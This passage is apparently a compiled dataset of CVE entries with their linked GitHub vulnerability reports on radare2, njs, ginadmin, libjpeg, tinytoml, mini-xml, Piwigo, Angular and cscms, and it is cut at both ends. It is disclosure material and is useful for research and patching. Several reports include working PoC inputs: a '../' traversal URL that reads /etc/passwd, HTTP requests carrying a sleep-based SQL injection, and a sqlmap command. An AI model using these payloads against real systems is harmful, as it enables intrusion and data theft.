==128487==ABORTING
````
## Explanation of the vulnerability
The vulnerability lies in the ``symbols`` function that
is responsible for parsing the symbols of the binary file.
The function can be found out at:
```
/radare2/libr/bin/bin_symbols.c
```
Please consider the following code
bellow bellow which has been simplified for readability:
```c
static RList *symbols(RBinFile *bf) {
RCoreSymCacheElement *element = bf->o->bin_obj;
...
// Parse symbols to a hash table
for (i = 0; i < element->hdr->n_symbols; i++) {
RCoreSymCacheElementSymbol *sym = &element->symbols[i]; // 1
ht_uu_find (hash, sym->paddr, &found); // 2
if (found) {
continue;
}
RBinSymbol *s = bin_symbol_from_symbol (element, sym);
if (s) {
r_list_append (res, s);
}
}
ht_uu_free (hash);
return res;
}
```
The ``element->symbols`` array, is an array of symbols for an object of the
file that is being loaded for analysis. In case were the pointer ``element->symbols[0]``
is empty, which is possible, since it is directly controlled through,the binary
file (``bf->o->bin_obj``) at point 1 the ``sym`` variable will be set to ``0``. Thus,
in point 2 the programm with crash with a NULL pointer dereference while
trying to dereference the ``paddr`` struct member of the ``RCoreSymCacheElementSymbol``
structure at ``sym->paddr``.
Please note that the ``bf`` reaches this function unsanitized (since its the structure describing
a binary file) . If we trace up the functions on the stack we can see that it doesnt
get sanitized anywhere above.
## Proposed fixes
Add a check right after the retrieve of the value (Point 1) to sanitize invalid
values.
## Notes
- Please check the attached binary that crashes
the radare2 binary and reproduces the vulnerability
by running the following command e.g. in an ASAN build
``r2 -qq -AA crash``
- I would highly appreciate if that bug qualifies for a
CVE for you to request it for me.
[crash.zip](https://github.com/radareorg/radare2/files/7672086/crash.zip)
| NULL pointer dereference in ``symbols()`` | https://api.github.com/repos/radareorg/radare2/issues/19478/comments | 1 | 2021-12-07T22:50:34Z | 2022-05-24T13:43:06Z | https://github.com/radareorg/radare2/issues/19478 | 1,073,817,017 | 19,478 | 3,647 |
CVE-2022-29379 | 2022-05-25T13:15:07.837 | Nginx NJS v0.7.3 was discovered to contain a stack overflow in the function njs_default_module_loader at /src/njs/src/njs_module.c. NOTE: multiple third parties dispute this report, e.g., the behavior is only found in unreleased development code that was not part of the 0.7.2, 0.7.3, or 0.7.4 release | {
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] | github.com | [
"nginx",
"njs"
] | Hey there!
I belong to an open source security research community, and a member (@salmonx) has found an issue, but doesn’t know the best way to disclose it.
If not a hassle, might you kindly add a `SECURITY.md` file with an email, or another contact method? GitHub [recommends](https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository) this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.
Thank you for your consideration, and I look forward to hearing from you!
(cc @huntr-helper) | Found a possible security concern | https://api.github.com/repos/nginx/njs/issues/491/comments | 2 | 2022-04-08T08:53:47Z | 2022-04-13T04:39:29Z | https://github.com/nginx/njs/issues/491 | 1,197,033,233 | 491 | 3,648 |
CVE-2022-29379 | 2022-05-25T13:15:07.837 | Nginx NJS v0.7.3 was discovered to contain a stack overflow in the function njs_default_module_loader at /src/njs/src/njs_module.c. NOTE: multiple third parties dispute this report, e.g., the behavior is only found in unreleased development code that was not part of the 0.7.2, 0.7.3, or 0.7.4 release | {
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"nginx",
"njs"
] | # Description
njs 0.7.3, used in NGINX, was discovered to contain a stack-buffer-overflow in njs_default_module_loader
(/src/njs/src/njs_module.c)
# ENV
- Version : 0.7.3
- Commit : 222d6fdcf0c6485ec8e175f3a7b70d650c234b4e
- OS : Ubuntu 18.04
- Configure : CC=clang-14 ./configure --address-sanitizer=YES
# BT
```
root@826e0eaa5e54:/src/njs_0.7.3_debug# ./build/njs /njs/out/crash_stack-buffer-overflow_1
=================================================================
==22820==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe0b253e41 at pc 0x00000049e4ca bp 0x7ffe0b252e10 sp 0x7ffe0b2525d8
WRITE of size 21313 at 0x7ffe0b253e41 thread T0
#0 0x49e4c9 in __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
#1 0x55db4a in njs_module_path /src/njs_0.7.3_debug/src/njs_module.c:148:18
#2 0x55db4a in njs_module_lookup /src/njs_0.7.3_debug/src/njs_module.c:83:11
#3 0x55db4a in njs_default_module_loader /src/njs_0.7.3_debug/src/njs_module.c:377:11
#4 0x55d195 in njs_parser_module /src/njs_0.7.3_debug/src/njs_module.c:56:14
#5 0x59a737 in njs_parser_import /src/njs_0.7.3_debug/src/njs_parser.c:7793:24
#6 0x56ed11 in njs_parser /src/njs_0.7.3_debug/src/njs_parser.c:598:23
#7 0x4e92cd in njs_vm_compile /src/njs_0.7.3_debug/src/njs_vm.c:159:11
#8 0x4d7c66 in njs_process_script /src/njs_0.7.3_debug/src/njs_shell.c:886:11
#9 0x4d72bb in njs_process_file /src/njs_0.7.3_debug/src/njs_shell.c:619:11
#10 0x4d72bb in main /src/njs_0.7.3_debug/src/njs_shell.c:303:15
#11 0x7f566fabf0b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41ea3d in _start (/src/njs_0.7.3_debug/build/njs+0x41ea3d)
Address 0x7ffe0b253e41 is located in stack of thread T0 at offset 4129 in frame
#0 0x55d6af in njs_default_module_loader /src/njs_0.7.3_debug/src/njs_module.c:363
This frame has 6 object(s):
[32, 4129) 'src.i' (line 115)
[4400, 4544) 'sb.i' (line 173) <== Memory access at offset 4129 partially underflows this variable
[4608, 8705) 'src.i.i' (line 115) <== Memory access at offset 4129 partially underflows this variable
[8976, 8992) 'cwd' (line 365) <== Memory access at offset 4129 partially underflows this variable
[9008, 9024) 'text' (line 365) <== Memory access at offset 4129 partially underflows this variable
[9040, 13184) 'info' (line 368) <== Memory access at offset 4129 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
Shadow bytes around the buggy address:
0x100041642770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100041642780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100041642790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000416427a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000416427b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000416427c0: 00 00 00 00 00 00 00 00[01]f2 f2 f2 f2 f2 f2 f2
0x1000416427d0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x1000416427e0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f8 f8 f8 f8 f8 f8
0x1000416427f0: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2
0x100041642800: f2 f2 f2 f2 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
0x100041642810: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==22820==ABORTING
```
# Fixed
The issue was fixed in https://github.com/nginx/njs/commit/ab1702c7af9959366a5ddc4a75b4357d4e9ebdc1.
FYI, the problem was committed in https://github.com/nginx/njs/commit/2ff8b264830da18528d6655b0e0654414cae9272 which was not released yet.
# Reference
https://huntr.dev/bounties/a244d6e7-a5ec-47ef-9d77-8c50764ffc0a/ | [Fixed] njs 0.7.3 was discovered to contain a stack-buffer-overflow bug in njs_default_module_loader | https://api.github.com/repos/nginx/njs/issues/493/comments | 1 | 2022-04-13T01:20:16Z | 2022-04-13T03:46:55Z | https://github.com/nginx/njs/issues/493 | 1,202,634,880 | 493 | 3,649 |
CVE-2022-30427 | 2022-05-25T16:15:08.413 | In ginadmin through 05-10-2022 the incoming path value is not filtered, resulting in directory traversal. | {
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"gphper",
"ginadmin"
] | # Vulnerability file address
`internal/controllers/admin/setting/adminSystemController.go` line 83 ,`c.Query("path")` the incoming path value is not filtered, resulting in directory traversal.
```
path = gstrings.JoinStr(configs.RootPath, c.Query("path"))
files, err = ioutil.ReadDir(path)
if err != nil {
con.Error(c, "获取目录失败")
return
}
```
# POC
http://ip:port/admin/setting/system/getdir?path=
# Attack results pictures
 | Directory Traversal Vulnerability | https://api.github.com/repos/gphper/ginadmin/issues/8/comments | 1 | 2022-05-04T09:57:30Z | 2022-06-09T08:48:58Z | https://github.com/gphper/ginadmin/issues/8 | 1,225,157,121 | 8 | 3,650 |
CVE-2022-30428 | 2022-05-25T16:15:08.453 | In ginadmin through 05-10-2022, the incoming path value is not filtered, resulting in arbitrary file reading. | {
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"gphper",
"ginadmin"
] | # Vulnerability file address
`internal/controllers/admin/setting/adminSystemController.go` line 135 `c.Query("path")`The incoming path value is not filtered, resulting in arbitrary file reading
```
filePath := gstrings.JoinStr(configs.RootPath, c.Query("path"))
fi, err := os.Open(filePath)
if err != nil {
con.ErrorHtml(c, err)
return
}
```
# POC
`http://ip:port/admin/setting/system/view?path=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd`
# Attack results pictures
 | Read Any File Vulnerability | https://api.github.com/repos/gphper/ginadmin/issues/9/comments | 2 | 2022-05-04T11:09:36Z | 2022-10-11T07:42:53Z | https://github.com/gphper/ginadmin/issues/9 | 1,225,225,508 | 9 | 3,651 |
CVE-2022-31620 | 2022-05-25T21:15:08.530 | In libjpeg before 1.64, BitStream<false>::Get in bitstream.hpp has an assertion failure that may cause denial of service. This is related to out-of-bounds array access during arithmetically coded lossless scan or arithmetically coded sequential scan. | {
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"thorfdbg",
"libjpeg"
] | There is an assert failure in `BitStream<false>::Get` in `bitstream.hpp`. Depending on the usage of this library, e.g., running on remote server as a service, this could cause Deny of Service attack.
* reproduce steps:
1. unzip poc.zip
2. compile libjpeg with address sanitizer enabled
3. run `jpeg ./poc /dev/null`
* poc
[poc.zip](https://github.com/thorfdbg/libjpeg/files/8723214/poc.zip)
* stack trace
```
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7054859 in __GI_abort () at abort.c:79
#2 0x00007ffff7054729 in __assert_fail_base (fmt=0x7ffff71ea588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x5555558e3a60 "bits > 0 && bits <= 24", file=0x5555558e3a20 "../io/bitstream.hpp", line=172, function=<optimized out>) at assert.c:92
#3 0x00007ffff7066006 in __GI___assert_fail (assertion=0x5555558e3a60 "bits > 0 && bits <= 24", file=0x5555558e3a20 "../io/bitstream.hpp", line=172, function=0x5555558e3c00 "ULONG BitStream<bitstuffing>::Get(UBYTE) [with bool bitstuffing = false; ULONG = unsigned int; UBYTE = unsigned char]") at assert.c:101
#4 0x00005555555b7f0d in BitStream<false>::Get (this=0x6140000003d8, bits=236 '\354') at ../io/bitstream.hpp:172
#5 0x000055555561d294 in LosslessScan::ParseMCU (this=0x614000000260, prev=0x7fffffffd3f0, top=0x7fffffffd3b0) at losslessscan.cpp:382
#6 0x000055555561d928 in LosslessScan::ParseMCU (this=0x614000000260) at losslessscan.cpp:432
#7 0x0000555555651e64 in Scan::ParseMCU (this=0x60d000000130) at scan.cpp:1038
#8 0x00005555555ca6b6 in JPEG::ReadInternal (this=0x61b000000098, tags=0x7fffffffd850) at jpeg.cpp:345
#9 0x00005555555c96b2 in JPEG::Read (this=0x61b000000098, tags=0x7fffffffd850) at jpeg.cpp:210
#10 0x00005555555aed39 in Reconstruct (infile=0x7fffffffe58b "../../aflasan/fuzzrun/jpeg_out/default/crashes/id:000442,sig:06,src:005553,time:52219991,execs:24848966,op:havoc,rep:2", outfile=0x7fffffffe602 "/dev/null", colortrafo=1, alpha=0x0, upsample=true) at reconstruct.cpp:121
#11 0x000055555559ceaa in main (argc=3, argv=0x7fffffffe2c8) at main.cpp:747
```
| Assert Failure in BitStream<false>::Get | https://api.github.com/repos/thorfdbg/libjpeg/issues/70/comments | 1 | 2022-05-19T03:28:48Z | 2022-05-23T06:01:03Z | https://github.com/thorfdbg/libjpeg/issues/70 | 1,241,136,016 | 70 | 3,652 |
CVE-2021-42692 | 2022-05-26T11:15:07.547 | There is a stack-overflow vulnerability in tinytoml v0.4 that can cause a crash or DoS. | {
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"mayah",
"tinytoml"
] | Hi,
I have found a bug when I fuzzing . When I enter an input file to a program use toml.h with parseFile, it cause a stack-overflow at parseFile function. I think there maybe too much loop or other bug cause this . my stack size is 8192kbs.
I know that we can avoid it by ulimit -s , but I think parse a toml file about 32k that cause 8M stack overflow maybe not a good way. If I make a file follow some pattern , the file may be minimized and smaller than 10k.
Here is the backtrace：
```
#0 __asan_memset ()
at /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:26
#1 std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >::__zero() () at /usr/local/bin/../include/c++/v1/string:1563
#2 std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >::basic_string() () at /usr/local/bin/../include/c++/v1/string:1812
#3 toml::internal::Token::Token(toml::internal::TokenType) () at ./include/toml/toml.h:272
#4 toml::internal::Lexer::nextToken(bool) () at ./include/toml/toml.h:1022
#5 toml::internal::Lexer::nextValueToken() () at ./include/toml/toml.h:967
#6 toml::internal::Parser::nextValue() () at ./include/toml/toml.h:347
#7 toml::internal::Parser::consumeForValue(toml::internal::TokenType) ()
at ./include/toml/toml.h:1740
```
(and maybe 20000 times repeat below two lines)
```
toml::internal::Parser::parseArray(toml::Value*) () at ./include/toml/toml.h:1978
toml::internal::Parser::parseValue(toml::Value*) () at ./include/toml/toml.h:1919
```
and this below:
```
toml::internal::Parser::parseKeyValue(toml::Value*) () at ./include/toml/toml.h:1883
toml::internal::Parser::parse() () at ./include/toml/toml.h:1790
toml::parse(std::__1::basic_istream<char, std::__1::char_traits<char> >&) ()
at ./include/toml/toml.h:385
toml::parseFile(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) () at ./include/toml/toml.h:401
LLVMFuzzerTestOneInput () at /src/parse_file.cc:16
fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) ()
RunOneTest () at /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:323
fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) ()
main () at /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20
```
the testcase I use is like parse_file.cc in your project. you can just compile use your code and input my file to the parse_file. stack size is 8192kbs. And you will get a segment fault caused by stack overflow. I have upload the file causes this.
[crashcase.zip](https://github.com/mayah/tinytoml/files/7328912/crashcase.zip)
| stack-overflow at "parseFile" | https://api.github.com/repos/mayah/tinytoml/issues/49/comments | 1 | 2021-10-12T09:59:03Z | 2021-10-16T04:31:49Z | https://github.com/mayah/tinytoml/issues/49 | 1,023,613,188 | 49 | 3,653 |
CVE-2021-42859 | 2022-05-26T12:15:07.647 | A memory leak issue was discovered in Mini-XML v3.2 that could cause a denial of service. NOTE: testing reports are inconsistent, with some testers seeing the issue in both the 3.2 release and in the October 2021 development code, but others not seeing the issue in the 3.2 release | {
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"michaelrsweet",
"mxml"
] | Hi,
We have used Mini-xml in our project, so I test v3.2 and master branch and found something:
Fisrt, there are some memory leaks in v3.2 and master:
```
=================================================================
==111401==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 6 byte(s) in 1 object(s) allocated from:
#0 in strdup (/opt/mnt/software/mxml32/a.out+0x46f260)
#1 in mxmlSaveAllocString /opt/mnt/software/mxml32/mxml-file.c:227:13
#2 in LLVMFuzzerTestOneInput /opt/mnt/software/mxml32/mxml_fuzzer.cpp:23:8
#3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/opt/mnt/software/mxml32/a .out+0x42f357)
#4 in fuzzer::Fuzzer::MutateAndTestOne() (/opt/mnt/software/mxml32/a.out+0x439bc4)
#5 in fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::a llocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator< char> > > > const&) (/opt/mnt/software/mxml32/a.out+0x43b22f)
#6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/opt/mnt/soft ware/mxml32/a.out+0x42a5ec)
#7 in main (/opt/mnt/software/mxml32/a.out+0x41d4b2)
#8 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: 6 byte(s) leaked in 1 allocation(s).
INFO: to ignore leaks on libFuzzer side use -detect_leaks=0.
```
and :
this is your testmxml.c:
```
...
Creating libmxml.so.1.6...
Creating libmxml.a...
a - mxml-attr.o
a - mxml-entity.o
a - mxml-file.o
a - mxml-get.o
a - mxml-index.o
a - mxml-node.o
a - mxml-search.o
a - mxml-set.o
a - mxml-private.o
a - mxml-string.o
Compiling testmxml.c
Linking testmxml...
Testing library...
=================================================================
==113129==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 88 byte(s) in 1 object(s) allocated from:
#0 in calloc (/opt/mnt/software/mxml32/testmxml+0x4da178)
#1 in mxml_new /opt/mnt/software/mxml32/mxml-node.c:841:15
#2 in mxmlNewElement /opt/mnt/software/mxml32/mxml-node.c:382:15
#3 in mxml_load_data /opt/mnt/software/mxml32/mxml-file.c:1783:14
#4 in mxmlSAXLoadFile /opt/mnt/software/mxml32/mxml-file.c:467:11
#5 in main /opt/mnt/software/mxml32/testmxml.c:676:5
#6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
Indirect leak of 37 byte(s) in 1 object(s) allocated from:
#0 in __interceptor_strdup (/opt/mnt/software/mxml32/testmxml+0x436770)
#1 in mxmlNewElement /opt/mnt/software/mxml32/mxml-node.c:383:32
#2 in mxml_load_data /opt/mnt/software/mxml32/mxml-file.c:1783:14
#3 in mxmlSAXLoadFile /opt/mnt/software/mxml32/mxml-file.c:467:11
#4 in main /opt/mnt/software/mxml32/testmxml.c:676:5
#5 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: 125 byte(s) leaked in 2 allocation(s).
Makefile:271: recipe for target 'testmxml' failed
make: *** [testmxml] Error 1
```
also ,we I input an unformed string to mxmlLoadString, there will be a stack-buffer-overflow and heap-buffer-overflow. I think if you add a longth check in mxml_string_getc when every pointer change("like (*s)++"), will be better? Of course Maybe I have use it in a wrong . you can check it here:
this is my testcase:
```
#include <string>
#include <vector>
#include <assert.h>
#include "mxml.h"
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
std::string c(reinterpret_cast<const char *>(data), size);
char *ptr;
mxml_node_t *tree;
tree = mxmlLoadString(NULL, c.c_str(), MXML_NO_CALLBACK);
if(tree){
ptr = mxmlSaveAllocString(tree, MXML_NO_CALLBACK);
if(!ptr) assert(false);
mxmlDelete(tree);
}
return 0;
}
```
you can compile your lib with
CFLAGS =+ "-g -O0 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link" and
LDFLAGS =+"-fsanitize=fuzzer-no-link -fsanitize=address"
and
clang++ -g -O1 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link mxml_fuzzer.cpp -I ./ -fsanitize=fuzzer ./libmxml.a
run and these are the backtrace:
```
=================================================================
==2858==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffed9190220 at pc 0x00000055a6f2 bp 0x7ffed918edc0 sp 0x7ffed918edb8
READ of size 1 at 0x7ffed9190220 thread T0
#0 in mxml_string_getc /opt/mnt/software/mxml32/mxml-file.c:2611:16
#1 in mxml_parse_element /opt/mnt/software/mxml32/mxml-file.c:2141:16
#2 in mxml_load_data /opt/mnt/software/mxml32/mxml-file.c:1977:14
#3 in mxmlLoadString /opt/mnt/software/mxml32/mxml-file.c:180:11
#4 in LLVMFuzzerTestOneInput /opt/mnt/software/mxml32/mxml_fuzzer.cpp:12:8
#5 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x42f357)
#6 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x41f7ea)
#7 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/opt/mnt/software/mxml32/a.out+0x42a7b0)
#8 in main (/opt/mnt/software/mxml32/a.out+0x41d4b2)
#9 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#10 in _start (/opt/mnt/software/mxml32/a.out+0x41d529)
```
```
=================================================================
==6265==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000a73 at pc 0x000000558e2d bp 0x7ffe13e2caa0 sp 0x7ffe13e2ca98
READ of size 1 at 0x612000000a73 thread T0
#0 in mxml_string_getc /opt/mnt/software/mxml32/mxml-file.c:2422:13
#1 in mxml_load_data /opt/mnt/software/mxml32/mxml-file.c:1558:20
#2 in mxmlLoadString /opt/mnt/software/mxml32/mxml-file.c:180:11
#3 in LLVMFuzzerTestOneInput /opt/mnt/software/mxml32/mxml_fuzzer.cpp:12:8
#4 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x42f357)
#5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x41f7ea)
#6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/opt/mnt/software/mxml32/a.out+0x42a7b0)
#7 in main (/opt/mnt/software/mxml32/a.out+0x41d4b2)
#8 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#9 in _start (/opt/mnt/software/mxml32/a.out+0x41d529)
```
| stack-buffer-overflow and heap-buffer-overflow | https://api.github.com/repos/michaelrsweet/mxml/issues/286/comments | 7 | 2021-10-15T03:56:39Z | 2022-05-30T11:24:48Z | https://github.com/michaelrsweet/mxml/issues/286 | 1,027,052,616 | 286 | 3,654 |
CVE-2021-40317 | 2022-05-26T13:15:08.083 | Piwigo 11.5.0 is affected by a SQL injection vulnerability via admin.php and the id parameter. | {
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"89"
] | 89 | https://github.com/Piwigo/Piwigo/issues/1470 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Piwigo",
"Piwigo"
] | The following is the detail about this vulnerability I found in Piwigo 11.5.0:
First, visit URL/admin.php and login, then click Album-Move. On this page, click ORDER on the right side.
Then we can see:
Select default, use Burpsuite during clicking APPLY.
Then in sqlmap:
python sqlmap.py -r post.txt -o --dbms=MySQL
See admin\cat_move.php:
Here there seems to be no confirmation of the legitimacy of the parameter $_POST[id]. And other parameters are legal so query is done.
Here is the manual injection test:
(Load successfully after sleeping 5 seconds)
Thanks for reading!
| [11.5.0]SQL Injection Vulnerability | https://api.github.com/repos/Piwigo/Piwigo/issues/1470/comments | 1 | 2021-08-29T13:49:36Z | 2022-09-28T13:26:54Z | https://github.com/Piwigo/Piwigo/issues/1470 | 982,104,453 | 1,470 | 3,655 |
CVE-2021-4231 | 2022-05-26T14:15:07.953 | A vulnerability was found in Angular up to 11.0.4/11.1.0-next.2. It has been classified as problematic. Affected is the handling of comments. The manipulation leads to cross site scripting. It is possible to launch the attack remotely but it might require an authentication first. Upgrading to version 11.0.5 and 11.1.0-next.3 is able to address this issue. The name of the patch is ba8da742e3b243e8f43d4c63aa842b44e14f2b09. It is recommended to upgrade the affected component. | {
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"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
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"79"
] | 79 | https://github.com/angular/angular/issues/40136 | [
"Third Party Advisory"
] | github.com | [
"angular",
"angular"
] | Escape the content of the strings so that it can be safely inserted into a comment node.
The issue is that HTML does not specify any way to escape comment end text inside the comment. `<!-- The way you close a comment is with "-->". -->`. Above the `"-->"` is meant to be text not an end to the comment. This can be created programmatically through DOM APIs.
```
div.innerHTML = div.innerHTML
```
One would expect that the above code would be safe to do, but it turns out that because comment text is not escaped, the comment may contain text which will prematurely close the comment opening up the application for XSS attack. (In SSR we programmatically create comment nodes which may contain such text and expect them to be safe.)
This function escapes the comment text by looking for the closing char sequence `-->` and replace it with `-_-_>` where the `_` is a zero width space `\u200B`. The result is that if a comment contains `-->` text it will render normally but it will not cause the HTML parser to close the comment.
## PR Checklist
Please check if your PR fulfills the following requirements:
- [ ] The commit message follows our guidelines: https://github.com/angular/angular/blob/master/CONTRIBUTING.md#commit
- [ ] Tests for the changes have been added (for bug fixes / features)
- [ ] Docs have been added / updated (for bug fixes / features)
## PR Type
What kind of change does this PR introduce?
<!-- Please check the one that applies to this PR using "x". -->
- [ ] Bugfix
- [ ] Feature
- [ ] Code style update (formatting, local variables)
- [ ] Refactoring (no functional changes, no api changes)
- [ ] Build related changes
- [ ] CI related changes
- [ ] Documentation content changes
- [ ] angular.io application / infrastructure changes
- [ ] Other... Please describe:
## What is the current behavior?
<!-- Please describe the current behavior that you are modifying, or link to a relevant issue. -->
Issue Number: N/A
## What is the new behavior?
## Does this PR introduce a breaking change?
- [ ] Yes
- [ ] No
<!-- If this PR contains a breaking change, please describe the impact and migration path for existing applications below. -->
## Other information
| Xss fix | https://api.github.com/repos/angular/angular/issues/40136/comments | 3 | 2020-12-15T21:05:35Z | 2021-01-22T16:53:07Z | https://github.com/angular/angular/pull/40136 | 768,203,567 | 40,136 | 3,656 |
CVE-2022-29660 | 2022-05-26T14:15:08.270 | CSCMS Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via the id parameter at /admin.php/pic/admin/pic/del. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
There is a Injection vulnerability exists in pic_Pic.php_del
First create an image and then delete it. When deleting an image, SQL injection is generated. The injection point is ID
```
POST /admin.php/pic/admin/pic/del?yid=3 HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/pic/admin/pic?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=193ad5fapoc2b6jr5pdtcpl7gp5fmjlp; cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA
Connection: close
id=1)and(sleep(5))--+
```
The injection point is ID and sleeps for 5 seconds
Then construct payload to blast database
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerablity exisit
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/25/comments | 0 | 2022-04-19T02:48:07Z | 2022-04-19T02:48:07Z | https://github.com/chshcms/cscms/issues/25 | 1,207,649,017 | 25 | 3,657 |
CVE-2022-29661 | 2022-05-26T14:15:08.310 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/pic/admin/type/save. | {
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] | 89 | https://github.com/chshcms/cscms/issues/21#issue-1207638326 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
There is a SQL blind injection vulnerability in pic_Type.php_del
Add an album after the administrator logs in
```
POST /admin.php/pic/admin/type/save HTTP/1.1
Host: cscms.test
Content-Length: 166
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/pic/admin/type/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=imqi28p17sd90eqcjmumqdtu1bbu7lhg
Connection: close
cid=5&reco=0&addtime=ok&name=1&bname=&pic=&user=&tags=&hits=0&yhits=0&zhits=0&rhits=0&dhits=0&chits=0&singer=&skins=show.html&title=&keywords=&description=&id=0&yid=0
```
Delete this album to the recycle bin
When deleting the album in the recycle bin, construct malicious statements to realize SQL injection
```
POST /admin.php/pic/admin/type/del?yid=3 HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
